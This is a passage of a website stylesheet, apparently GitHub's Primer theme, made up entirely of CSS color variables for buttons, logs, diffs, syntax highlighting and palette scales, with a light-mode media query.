#32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: 